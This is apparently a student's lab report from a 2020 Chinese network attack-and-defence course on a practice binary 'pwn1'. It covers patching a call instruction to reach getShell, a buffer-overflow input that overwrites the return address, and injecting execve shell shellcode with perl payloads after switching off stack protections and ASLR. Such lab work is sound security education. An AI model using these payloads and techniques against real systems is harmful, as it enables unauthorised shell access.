2019-2020网络对抗技术 20175207 Exp1 PC平台逆向破解

目录


1.基础知识

1.1Linux常用命令

  • 1.1.1管道(|)
    • 以前面命令的标准输出作为后面命令的标准输入
    • 自动忽略错误的标准输入
    • 后面接的命令必须能够接收标准输入
      • 不能接收的命令包括lscpmv
      • 可以接受的命令包括catgreplessmore
  • 1.1.2输入、输出重定向(<、>)
  • 以上二者区别
    • 重定向操作符(>)将命令与文件连接起来,用文件来接收命令的输出
    • 管道符(|)将命令与命令连接起来,用第二个命令来接收第一个命令的输出
      回到目录

1.2基本汇编指令的机器码

指令机器码指令机器码指令机器码
JC72JA/JNBE77JMP rel8E8
JNC73JAE/JNB73JMP rel16E9
JZ/JE74JB/JNE72JMP r/m16 32FF
JNZ/JNE75JBE/JNA76
JS78JG/JNLE7F
JNS79JGE/JNL7D
JO70JL/JNGE7C
JNO71JLE/JNG7E
JP/JPE7A
JNP/IPO7B

回到目录

1.3反汇编与十六进制编辑器

显示main.c的汇编代码
gcc -S -o main.s main.c
汇编文件main.s
目标文件反汇编
gcc -c -o main.o main.c
objdump -s -d main.o > main.o.txt
目标文件main.o的反汇编结果输出到文件main.o.txt
gcc -g -c -o main.o main.c
objdump -S -d main.o > main.o.txt
反汇编同时显示源代码
gcc -g -c -o main.o main.c
objdump -j .text -ld -C -S main.o > main.o.txt
显示源代码同时显示行号
可执行文件反汇编
gcc -o main main.c
objdump -s -d main > main.txt
gcc -g -o main main.c
objdump -S -d main > main.txt
反汇编同时显示源代码
参考:[objdump命令的使用](https://blog.csdn.net/beyondioi/article/details/7796414) - vim16进制显示切换 - 将显示模式切换为16进制模式:`%!xxd` - 将16进制切换回ASCII码模式:`%!xxd -r` [回到目录](#root)

2.准备

2.1更改主机名

2.2用户相关操作

  • 添加用户
    $是普通用户,#是系统管理员
    adduser命令会自动创建用户主目录并创建用户同名的组
    sudo adduser 用户名

    通过ls -l /home查看用户是否添加成功
  • 赋予普通用户root权限
    修改sudoers文件sudo vim /etc/sudoers
    在root下一行添加要赋予权限的用户
    ALL代表允许所有操作
    ALL=(ALL:ALL)ALL
    用户=(主机:用户组)可执行的指令


    回到目录

3.实验内容

3.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 下载目标文件pwn1

  • 复制pwn1

    • cp pwn1 pwn2
  • 反汇编pwn1文件

    • objdump -d pwn1 | more
    • 输入/getShell可以快速锁定到对应函数
  • 分析反汇编结果

    • main函数中,跳转到foo函数的机器指令:e8 d7 ff ff ff
      e8为call指令的机器指令
      此指令表示:调用一个函数,该函数和当前代码的距离是ff ff ff d7
    • EIP寄存器中的值(下条指令的地址):80484ba
    • foo函数的起始地址:8048491
  • 计算更改后的机器指令
    目的:将main函数中跳转到foo函数的指令改为跳转到getShell函数

    • getShell函数的起始地址:804847d
    • 执行跳转指令时EIP寄存器中的值:80484ba
    • 求差

      ∴call指令对应的机器指令应改为e8 c3 ff ff ff
  • 修改可执行文件

    • vi pwn2
    • :%!xxd显示为16进制
    • /e8 d7查找要修改的内容
    • i进入插入模式,将d7修改为c3
    • %!xxd -r显示为ASCII码
    • :wq保存并退出
    • objdump -d pwn2 | more反编译修改过的pwn2文件
  • 运行修改前后的文件

    • pwn1:shell功能
    • pwn2:回显功能

回到目录

3.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  • 通过反汇编了解程序的基本功能
    • objdump -d pwn1 | more

      这里读入字符串,但系统只预留了28字节(-0x1c)的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

      上面的call调用foo,同时在堆栈上压上返回地址值:80484ba
  • 确认输入字符串哪几个字符会覆盖到返回地址
    • gdb pwn1 对文件进行调试
    • r
    • 输入1111111122222222333333334444444412345678,1234 (0x34333231)四个数最终会覆盖到堆栈上的返回地址
    • info r查看寄存器的值
  • 确认用什么值来覆盖返回地址
    把33~36这四个字节替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
    • getShell的内存地址:0804847d
    • 应输入的字符串:11111111222222223333333344444444\x7d\x84\x04\x08
      注意:机器指令低字节在前、高字节在后
  • 构造输入字符串
    • 生成存储字符串的文件:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    • 使用16进制查看指令xxd查看input文件的内容是否如预期xxd input
    • 查看结果(cat input; cat ) | ./pwn2

回到目录

3.3注入一个自己制作的shellcode并运行这段shellcode

  • 准备一段Shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
参考:Shellcode入门

  • 修改设置
    • 设置堆栈可执行:execstack -s pwn3
    • 查询文件的堆栈是否可执行:execstack -q pwn3 结果为X表示可执行
    • 查看寄存器地址随机化是否关闭:more /proc/sys/kernel/randomize_va_space
    • 关闭随机化:echo "0" > /proc/sys/kernel/randomize_va_space
    • 再次查看确认:more /proc/sys/kernel/randomize_va_space 0表示已关闭
  • 使用输出重定向将perl生成的字符串存储到文件input_shellcode中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
注意:最后一个字符不能是\x0a

  • 确定\x4\x3\x2\x1内容
    • 打开终端1注入这段攻击buf:(cat input_shellcode;cat) | ./pwn1
    • 打开终端2,用gdb调试pwn1进程
    • 查看pwn1进程号:ps -ef | grep pwn1
    • 启动gdb,调试:gdb
    • attach 进程号 这里的进程号为11866
    • 反编译:disassemble foo ret地址为0x080484ae
    • 设置断点:break *0x080484ae
    • 终端1输入回车
    • 终端2继续,输入c
    • 查看栈顶指针位置:info r esp


      0xffffd2ec存放的数据是01020304,为返回地址的位置
    • shellcode地址:0xffffd2ec+0x00000004=0xffffd2f0
  • 修改input_shellcode文件中的代码
perl -e 'print "A" x 32;print "\xf0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 查看结果:(cat input_shellcode;cat) | ./pwn1

回到目录


4.结束语

4.1什么是漏洞? 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。 4.2漏洞有什么危害? 可能会造成系统破坏、信息泄露、网络崩溃…… 收获/感想 巩固了Linux的相关操作,初步学习了逆向破解的相关知识,复习了汇编指令等…… 发现自己对Linux的操作还不是很熟悉,存在很多盲区,在接下来的学习中要继续补充学习Linux相关知识,复习汇编内容。 革命尚未成功,同志仍需努力🎈(ง •_•)ง

参考博客: 0x11_MAL_逆向与Bof基础
回到目录


posted @ 2020-03-03 23:19  20175207冷南  阅读(248)  评论(0编辑  收藏  举报